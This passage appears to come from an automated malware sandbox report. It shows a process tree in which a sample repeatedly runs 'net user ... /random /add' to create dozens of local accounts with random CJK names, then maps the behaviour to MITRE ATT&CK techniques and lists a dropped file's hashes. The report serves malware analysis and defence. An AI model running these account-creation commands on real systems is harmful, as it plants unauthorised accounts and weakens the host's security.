  "C:\Windows\System32\cmd.exe" /c net user "荗偗祳涓焑瑃脡藭蕊櫇朅櫤咖" /random /add
  2⤵
  PID:5500
- - C:\Windows\system32\net.exe
    net user "荗偗祳涓焑瑃脡藭蕊櫇朅櫤咖" /random /add
    3⤵
    PID:3164
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "荗偗祳涓焑瑃脡藭蕊櫇朅櫤咖" /random /add
      4⤵
      PID:2760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "抜秹骪梠懑紇倬宰嫸昷賱錫瘓" /random /add
  2⤵
  PID:3724
- - C:\Windows\system32\net.exe
    net user "抜秹骪梠懑紇倬宰嫸昷賱錫瘓" /random /add
    3⤵
    PID:1892
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "抜秹骪梠懑紇倬宰嫸昷賱錫瘓" /random /add
      4⤵
      PID:1684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "圌猅侻锵耡碉噐狡耎薱亥頰疕" /random /add
  2⤵
  PID:1428
- - C:\Windows\system32\net.exe
    net user "圌猅侻锵耡碉噐狡耎薱亥頰疕" /random /add
    3⤵
    PID:4920
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "圌猅侻锵耡碉噐狡耎薱亥頰疕" /random /add
      4⤵
      PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "嶔謰砖綒濬扌栮熱翆緧牊炽胏" /random /add
  2⤵
  PID:3644
- - C:\Windows\system32\net.exe
    net user "嶔謰砖綒濬扌栮熱翆緧牊炽胏" /random /add
    3⤵
    PID:4860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "嶔謰砖綒濬扌栮熱翆緧牊炽胏" /random /add
      4⤵
      PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "嬡汽奜鄥濠箝栲缷鰏臖坫胨竀" /random /add
  2⤵
  PID:3936
- - C:\Windows\system32\net.exe
    net user "嬡汽奜鄥濠箝栲缷鰏臖坫胨竀" /random /add
    3⤵
    PID:5344
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "嬡汽奜鄥濠箝栲缷鰏臖坫胨竀" /random /add
      4⤵
      PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "暴檕巙伒螵伞鐋釳速趪掲榨叧" /random /add
  2⤵
  PID:1048
- - C:\Windows\system32\net.exe
    net user "暴檕巙伒螵伞鐋釳速趪掲榨叧" /random /add
    3⤵
    PID:1044
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "暴檕巙伒螵伞鐋釳速趪掲榨叧" /random /add
      4⤵
      PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "螼廌俺鶀晵椽勅方竣烄奢姳鹊" /random /add
  2⤵
  PID:5708
- - C:\Windows\system32\net.exe
    net user "螼廌俺鶀晵椽勅方竣烄奢姳鹊" /random /add
    3⤵
    PID:4156
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "螼廌俺鶀晵椽勅方竣烄奢姳鹊" /random /add
      4⤵
      PID:1156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "淡巚牴槃朂缅廴胈膢礘傿棸宬" /random /add
  2⤵
  PID:868
- - C:\Windows\system32\net.exe
    net user "淡巚牴槃朂缅廴胈膢礘傿棸宬" /random /add
    3⤵
    PID:4852
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "淡巚牴槃朂缅廴胈膢礘傿棸宬" /random /add
      4⤵
      PID:244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "稞峆畲笤粋巺辊帣萒缼乖菅粢" /random /add
  2⤵
  PID:5956
- - C:\Windows\system32\net.exe
    net user "稞峆畲笤粋巺辊帣萒缼乖菅粢" /random /add
    3⤵
    PID:5860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "稞峆畲笤粋巺辊帣萒缼乖菅粢" /random /add
      4⤵
      PID:668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "淟芾忷軠漦應絳貆橐岘槌筀恋" /random /add
  2⤵
  PID:2632
- - C:\Windows\system32\net.exe
    net user "淟芾忷軠漦應絳貆橐岘槌筀恋" /random /add
    3⤵
    PID:8
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "淟芾忷軠漦應絳貆橐岘槌筀恋" /random /add
      4⤵
      PID:5252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "购遑坓耰榦鳟蒫镐閒亗綷蠆鮲" /random /add
  2⤵
  PID:4776
- - C:\Windows\system32\net.exe
    net user "购遑坓耰榦鳟蒫镐閒亗綷蠆鮲" /random /add
    3⤵
    PID:1872
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "购遑坓耰榦鳟蒫镐閒亗綷蠆鮲" /random /add
      4⤵
      PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "僰璊訷骅宲曵簦邶戸粮颵奇泐" /random /add
  2⤵
  PID:4620
- - C:\Windows\system32\net.exe
    net user "僰璊訷骅宲曵簦邶戸粮颵奇泐" /random /add
    3⤵
    PID:2240
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "僰璊訷骅宲曵簦邶戸粮颵奇泐" /random /add
      4⤵
      PID:928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "啧忽跟垜錧丮剃廷潃讀妆氨昘" /random /add
  2⤵
  PID:1068
- - C:\Windows\system32\net.exe
    net user "啧忽跟垜錧丮剃廷潃讀妆氨昘" /random /add
    3⤵
    PID:4404
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "啧忽跟垜錧丮剃廷潃讀妆氨昘" /random /add
      4⤵
      PID:5740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "腡咸桙萴鞼跄犤沓鐂器絸宬囲" /random /add
  2⤵
  PID:5812
- - C:\Windows\system32\net.exe
    net user "腡咸桙萴鞼跄犤沓鐂器絸宬囲" /random /add
    3⤵
    PID:2596
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "腡咸桙萴鞼跄犤沓鐂器絸宬囲" /random /add
      4⤵
      PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "伾罈竹菷兟樟怈奸帙屑滬菹郃" /random /add
  2⤵
  PID:1516
- - C:\Windows\system32\net.exe
    net user "伾罈竹菷兟樟怈奸帙屑滬菹郃" /random /add
    3⤵
    PID:5904
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "伾罈竹菷兟樟怈奸帙屑滬菹郃" /random /add
      4⤵
      PID:764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "耙盝拮李肍屯戵赺肋俋塳嗎嫜" /random /add
  2⤵
  PID:5964
- - C:\Windows\system32\net.exe
    net user "耙盝拮李肍屯戵赺肋俋塳嗎嫜" /random /add
    3⤵
    PID:4108
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "耙盝拮李肍屯戵赺肋俋塳嗎嫜" /random /add
      4⤵
      PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "脂攏牲渢舦僓陲匜骦阀金嗜傸" /random /add
  2⤵
  PID:3056
- - C:\Windows\system32\net.exe
    net user "脂攏牲渢舦僓陲匜骦阀金嗜傸" /random /add
    3⤵
    PID:5312
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "脂攏牲渢舦僓陲匜骦阀金嗜傸" /random /add
      4⤵
      PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "琂酰欖褯锇趓斧颟澶伛筎歷諦" /random /add
  2⤵
  PID:2204
- - C:\Windows\system32\net.exe
    net user "琂酰欖褯锇趓斧颟澶伛筎歷諦" /random /add
    3⤵
    PID:5008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "琂酰欖褯锇趓斧颟澶伛筎歷諦" /random /add
      4⤵
      PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "鿼喀謫沚敄腘礌痽釻昅掳筿扖" /random /add
  2⤵
  PID:2788
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3720
- - C:\Windows\system32\net.exe
    net user "鿼喀謫沚敄腘礌痽釻昅掳筿扖" /random /add
    3⤵
    PID:1756
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "鿼喀謫沚敄腘礌痽釻昅掳筿扖" /random /add
      4⤵
      PID:4136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "癚环谵泥槿岖鬃靇袵阁貅鵐夃" /random /add
  2⤵
  PID:2728
- - C:\Windows\system32\net.exe
    net user "癚环谵泥槿岖鬃靇袵阁貅鵐夃" /random /add
    3⤵
    PID:1244
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "癚环谵泥槿岖鬃靇袵阁貅鵐夃" /random /add
      4⤵
      PID:5228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "勮鞷坾臧罸橸狷楸雀熆奚俵錒" /random /add
  2⤵
  PID:4388
- - C:\Windows\system32\net.exe
    net user "勮鞷坾臧罸橸狷楸雀熆奚俵錒" /random /add
    3⤵
    PID:2936
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "勮鞷坾臧罸橸狷楸雀熆奚俵錒" /random /add
      4⤵
      PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "憂毬懋瀨慄婄埞癅廜詶鷠虇儕" /random /add
  2⤵
  PID:5316
- - C:\Windows\system32\net.exe
    net user "憂毬懋瀨慄婄埞癅廜詶鷠虇儕" /random /add
    3⤵
    PID:5640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "憂毬懋瀨慄婄埞癅廜詶鷠虇儕" /random /add
      4⤵
      PID:6036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "葊蘹魡湽狽煦翿嬃懶漻搢睴乶" /random /add
  2⤵
  PID:2412
- - C:\Windows\system32\net.exe
    net user "葊蘹魡湽狽煦翿嬃懶漻搢睴乶" /random /add
    3⤵
    PID:5384
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "葊蘹魡湽狽煦翿嬃懶漻搢睴乶" /random /add
      4⤵
      PID:5444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "縸莄戼佀飓拣槣鈂鏃案辚铥矃" /random /add
  2⤵
  PID:1624
- - C:\Windows\system32\net.exe
    net user "縸莄戼佀飓拣槣鈂鏃案辚铥矃" /random /add
    3⤵
    PID:4884
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "縸莄戼佀飓拣槣鈂鏃案辚铥矃" /random /add
      4⤵
      PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "頽妷錴鞨佘撨錤鋭殀揶鋐抾終" /random /add
  2⤵
  PID:5056
- - C:\Windows\system32\net.exe
    net user "頽妷錴鞨佘撨錤鋭殀揶鋐抾終" /random /add
    3⤵
    PID:4048
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "頽妷錴鞨佘撨錤鋭殀揶鋐抾終" /random /add
      4⤵
      PID:5824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "鹨徦囕腼訓赍炩薗庅姎殢黊岛" /random /add
  2⤵
  PID:2512
- - C:\Windows\system32\net.exe
    net user "鹨徦囕腼訓赍炩薗庅姎殢黊岛" /random /add
    3⤵
    PID:1684
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "鹨徦囕腼訓赍炩薗庅姎殢黊岛" /random /add
      4⤵
      PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "洆椯韎讻萤萹畹眛窲揶肼鞵婻" /random /add
  2⤵
  PID:1432
- - C:\Windows\system32\net.exe
    net user "洆椯韎讻萤萹畹眛窲揶肼鞵婻" /random /add
    3⤵
    PID:2836
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "洆椯韎讻萤萹畹眛窲揶肼鞵婻" /random /add
      4⤵
      PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "愄肞鍾踓綶荧责胹撟祢懁荊檽" /random /add
  2⤵
  PID:4300
- - C:\Windows\system32\net.exe
    net user "愄肞鍾踓綶荧责胹撟祢懁荊檽" /random /add
    3⤵
    PID:1076
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "愄肞鍾踓綶荧责胹撟祢懁荊檽" /random /add
      4⤵
      PID:1440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "轄汈穱綌簕互俽隥暊嵨怓裘礠" /random /add
  2⤵
  PID:2368
- - C:\Windows\system32\net.exe
    net user "轄汈穱綌簕互俽隥暊嵨怓裘礠" /random /add
    3⤵
    PID:5156
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "轄汈穱綌簕互俽隥暊嵨怓裘礠" /random /add
      4⤵
      PID:3328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "蕻奵門蝉径櫜搩汳趛拇穕雅耥" /random /add
  2⤵
  PID:2536
- - C:\Windows\system32\net.exe
    net user "蕻奵門蝉径櫜搩汳趛拇穕雅耥" /random /add
    3⤵
    PID:1512
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "蕻奵門蝉径櫜搩汳趛拇穕雅耥" /random /add
      4⤵
      PID:4232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "侥剞氉躬吙鋠鞽臭冽唣葡纲懻" /random /add
  2⤵
  PID:5940
- - C:\Windows\system32\net.exe
    net user "侥剞氉躬吙鋠鞽臭冽唣葡纲懻" /random /add
    3⤵
    PID:3768
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "侥剞氉躬吙鋠鞽臭冽唣葡纲懻" /random /add
      4⤵
      PID:4964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "滙莒懣妑啎箙曖跘哄磲沟櫅嘶" /random /add
  2⤵
  PID:2040
- - C:\Windows\system32\net.exe
    net user "滙莒懣妑啎箙曖跘哄磲沟櫅嘶" /random /add
    3⤵
    PID:2488
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "滙莒懣妑啎箙曖跘哄磲沟櫅嘶" /random /add
      4⤵
      PID:5576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "谅灜碊机扠恻婗礁屾鴗侴払劌" /random /add
  2⤵
  PID:5024
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5580
- - C:\Windows\system32\net.exe
    net user "谅灜碊机扠恻婗礁屾鴗侴払劌" /random /add
    3⤵
    PID:3840
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "谅灜碊机扠恻婗礁屾鴗侴払劌" /random /add
      4⤵
      PID:712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "隳廓床堢鷫颈謘攡霳铇巼肟萘" /random /add
  2⤵
  PID:4636
- - C:\Windows\system32\net.exe
    net user "隳廓床堢鷫颈謘攡霳铇巼肟萘" /random /add
    3⤵
    PID:3004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "隳廓床堢鷫颈謘攡霳铇巼肟萘" /random /add
      4⤵
      PID:4080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "瞽渟雁搳靈錫獵霄奙摴剸髅墚" /random /add
  2⤵
  PID:5328
- - C:\Windows\system32\net.exe
    net user "瞽渟雁搳靈錫獵霄奙摴剸髅墚" /random /add
    3⤵
    PID:4760
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "瞽渟雁搳靈錫獵霄奙摴剸髅墚" /random /add
      4⤵
      PID:5528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "門礵顮嚇惞貴雹芋筹渊苾垪欎" /random /add
  2⤵
  PID:2812
- - C:\Windows\system32\net.exe
    net user "門礵顮嚇惞貴雹芋筹渊苾垪欎" /random /add
    3⤵
    PID:4656
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "門礵顮嚇惞貴雹芋筹渊苾垪欎" /random /add
      4⤵
      PID:644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "欆墮甒畓鎳婀悆瀿電氛蟔鿿征" /random /add
  2⤵
  PID:5604
- - C:\Windows\system32\net.exe
    net user "欆墮甒畓鎳婀悆瀿電氛蟔鿿征" /random /add
    3⤵
    PID:4024
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "欆墮甒畓鎳婀悆瀿電氛蟔鿿征" /random /add
      4⤵
      PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "譮颡澠羾宬裦靾茘蟐炄钪臖葄" /random /add
  2⤵
  PID:4380
- - C:\Windows\system32\net.exe
    net user "譮颡澠羾宬裦靾茘蟐炄钪臖葄" /random /add
    3⤵
    PID:1804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "譮颡澠羾宬裦靾茘蟐炄钪臖葄" /random /add
      4⤵
      PID:3928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "搯翻夎碠糣鋨豦墏斜岳泽竫邃" /random /add
  2⤵
  PID:4936
- - C:\Windows\system32\net.exe
    net user "搯翻夎碠糣鋨豦墏斜岳泽竫邃" /random /add
    3⤵
    PID:2548
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "搯翻夎碠糣鋨豦墏斜岳泽竫邃" /random /add
      4⤵
      PID:5488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "擳懦銸賘鳣夡匟喓狞嫃戝哷劧" /random /add
  2⤵
  PID:2096
- - C:\Windows\system32\net.exe
    net user "擳懦銸賘鳣夡匟喓狞嫃戝哷劧" /random /add
    3⤵
    PID:764
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "擳懦銸賘鳣夡匟喓狞嫃戝哷劧" /random /add
      4⤵
      PID:5420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "畽潰離血腷薳騴顙棎騶亃誚蝐" /random /add
  2⤵
  PID:1028
- - C:\Windows\system32\net.exe
    net user "畽潰離血腷薳騴顙棎騶亃誚蝐" /random /add
    3⤵
    PID:4112
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "畽潰離血腷薳騴顙棎騶亃誚蝐" /random /add
      4⤵
      PID:3140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "鐆衏搘乼鸓妘諚忬掰惀馵憲裍" /random /add
  2⤵
  PID:3784
- - C:\Windows\system32\net.exe
    net user "鐆衏搘乼鸓妘諚忬掰惀馵憲裍" /random /add
    3⤵
    PID:5456
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "鐆衏搘乼鸓妘諚忬掰惀馵憲裍" /random /add
      4⤵
      PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "俍茑醵戃醺蕒渥踐霪踶伊厗猶" /random /add
  2⤵
  PID:3304
- - C:\Windows\system32\net.exe
    net user "俍茑醵戃醺蕒渥踐霪踶伊厗猶" /random /add
    3⤵
    PID:3104
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "俍茑醵戃醺蕒渥踐霪踶伊厗猶" /random /add
      4⤵
      PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "襅恀鍡贕猞筺杏緛趀贈妫臖渶" /random /add
  2⤵
  PID:4772
- - C:\Windows\system32\net.exe
    net user "襅恀鍡贕猞筺杏緛趀贈妫臖渶" /random /add
    3⤵
    PID:540
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "襅恀鍡贕猞筺杏緛趀贈妫臖渶" /random /add
      4⤵
      PID:5092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "蟻灠滕絢礴評鎏嬙纴陉愃隩鯹" /random /add
  2⤵
  PID:3220
- - C:\Windows\system32\net.exe
    net user "蟻灠滕絢礴評鎏嬙纴陉愃隩鯹" /random /add
    3⤵
    PID:4136
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "蟻灠滕絢礴評鎏嬙纴陉愃隩鯹" /random /add
      4⤵
      PID:5428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "鱦嫍酈鈆韆髂蓴羹阉褄蠺娦鋹" /random /add
  2⤵
  PID:568
- - C:\Windows\system32\net.exe
    net user "鱦嫍酈鈆韆髂蓴羹阉褄蠺娦鋹" /random /add
    3⤵
    PID:5644
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "鱦嫍酈鈆韆髂蓴羹阉褄蠺娦鋹" /random /add
      4⤵
      PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "蜌垂威嚑囚樳埸榶孲蝾嶏鞑以" /random /add
  2⤵
  PID:5352
- - C:\Windows\system32\net.exe
    net user "蜌垂威嚑囚樳埸榶孲蝾嶏鞑以" /random /add
    3⤵
    PID:3640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "蜌垂威嚑囚樳埸榶孲蝾嶏鞑以" /random /add
      4⤵
      PID:6032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "琤豦蔛鋕袢膊迀瞯擡炶鏌皉乱" /random /add
  2⤵
  PID:6044
- - C:\Windows\system32\net.exe
    net user "琤豦蔛鋕袢膊迀瞯擡炶鏌皉乱" /random /add
    3⤵
    PID:2916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "琤豦蔛鋕袢膊迀瞯擡炶鏌皉乱" /random /add
      4⤵
      PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "清拉爆产炭鉨嵑忇鍡麟湘般環" /random /add
  2⤵
  PID:4640
- - C:\Windows\system32\net.exe
    net user "清拉爆产炭鉨嵑忇鍡麟湘般環" /random /add
    3⤵
    PID:2172
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "清拉爆产炭鉨嵑忇鍡麟湘般環" /random /add
      4⤵
      PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "餢绐乪囏鏝醶亯鎤艉璚捨氥舧" /random /add
  2⤵
  PID:1272
- - C:\Windows\system32\net.exe
    net user "餢绐乪囏鏝醶亯鎤艉璚捨氥舧" /random /add
    3⤵
    PID:4796
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "餢绐乪囏鏝醶亯鎤艉璚捨氥舧" /random /add
      4⤵
      PID:5460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "揷讥谦檸渐匥鹘螝惩飙海嶘啞" /random /add
  2⤵
  PID:5924
- - C:\Windows\system32\net.exe
    net user "揷讥谦檸渐匥鹘螝惩飙海嶘啞" /random /add
    3⤵
    PID:5064
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "揷讥谦檸渐匥鹘螝惩飙海嶘啞" /random /add
      4⤵
      PID:5540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "貏鍵郒怴瑶絕躍牒怬踅殾途掑" /random /add
  2⤵
  PID:2208
- - C:\Windows\system32\net.exe
    net user "貏鍵郒怴瑶絕躍牒怬踅殾途掑" /random /add
    3⤵
    PID:1360
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "貏鍵郒怴瑶絕躍牒怬踅殾途掑" /random /add
      4⤵
      PID:5432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "缵琐嘜釾缱菙焁嘊虝迍氢萜嚴" /random /add
  2⤵
  PID:5068
- - C:\Windows\system32\net.exe
    net user "缵琐嘜釾缱菙焁嘊虝迍氢萜嚴" /random /add
    3⤵
    PID:1392
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "缵琐嘜釾缱菙焁嘊虝迍氢萜嚴" /random /add
      4⤵
      PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "妳震朂齑鼓缟膵蠹墜鋬鬿撮鍩" /random /add
  2⤵
  PID:1676
- - C:\Windows\system32\net.exe
    net user "妳震朂齑鼓缟膵蠹墜鋬鬿撮鍩" /random /add
    3⤵
    PID:840
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "妳震朂齑鼓缟膵蠹墜鋬鬿撮鍩" /random /add
      4⤵
      PID:4412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "砗隱舊庱鷂鱰拠纈胜轓蒂蕍鱌" /random /add
  2⤵
  PID:1424
- - C:\Windows\system32\net.exe
    net user "砗隱舊庱鷂鱰拠纈胜轓蒂蕍鱌" /random /add
    3⤵
    PID:5124
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "砗隱舊庱鷂鱰拠纈胜轓蒂蕍鱌" /random /add
      4⤵
      PID:5748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "釳勮莞璹羡蓺敗蔭礦鮮暧衋刜" /random /add
  2⤵
  PID:3240
- - C:\Windows\system32\net.exe
    net user "釳勮莞璹羡蓺敗蔭礦鮮暧衋刜" /random /add
    3⤵
    PID:5588
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "釳勮莞璹羡蓺敗蔭礦鮮暧衋刜" /random /add
      4⤵
      PID:648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "碒陈滂拽祰敀蛓綔瓖羼佦穥欓" /random /add
  2⤵
  PID:3924
- - C:\Windows\system32\net.exe
    net user "碒陈滂拽祰敀蛓綔瓖羼佦穥欓" /random /add
    3⤵
    PID:3352
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "碒陈滂拽祰敀蛓綔瓖羼佦穥欓" /random /add
      4⤵
      PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "弅穣坎獼莓竀逡怶鰵集卽蜗殽" /random /add
  2⤵
  PID:1440
- - C:\Windows\system32\net.exe
    net user "弅穣坎獼莓竀逡怶鰵集卽蜗殽" /random /add
    3⤵
    PID:3420
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "弅穣坎獼莓竀逡怶鰵集卽蜗殽" /random /add
      4⤵
      PID:5356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "齶梃叨鳽旹壔鮡梬鬇莮盖匶鲯" /random /add
  2⤵
  PID:2480
- - C:\Windows\system32\net.exe
    net user "齶梃叨鳽旹壔鮡梬鬇莮盖匶鲯" /random /add
    3⤵
    PID:4080
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "齶梃叨鳽旹壔鮡梬鬇莮盖匶鲯" /random /add
      4⤵
      PID:3980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "莩翀潁娪貒狎斮捍騚蓏唋焑仹" /random /add
  2⤵
  PID:3408
- - C:\Windows\system32\net.exe
    net user "莩翀潁娪貒狎斮捍騚蓏唋焑仹" /random /add
    3⤵
    PID:2352
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "莩翀潁娪貒狎斮捍騚蓏唋焑仹" /random /add
      4⤵
      PID:408
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2448 -s 1768
  2⤵
  - Program crash
  PID:4552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2448 -ip 2448
1⤵
PID:1580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

鶘嵁棟飑.exe

Path C:\Users\Public\Desktop\鶘嵁棟飑.exe
Size 4B
SHA256 b72f53758d812fbcaef2f5bf9906f627ee6d5d5775ebf1dd62a9a10f7edd8359
MD5 7cee495091e11ff9560d3d0165133322
SHA1 e5c37d372367c69dcd30fe688631a1b0ce49ea73
SHA512 c7af91225f2bca6b06a406f24c461461ac44e4256544a258b1f1fc7d0121f55b16a0ba188e0880644756abf12a7eb8b53b80089629285521235d3402ccd65e1a
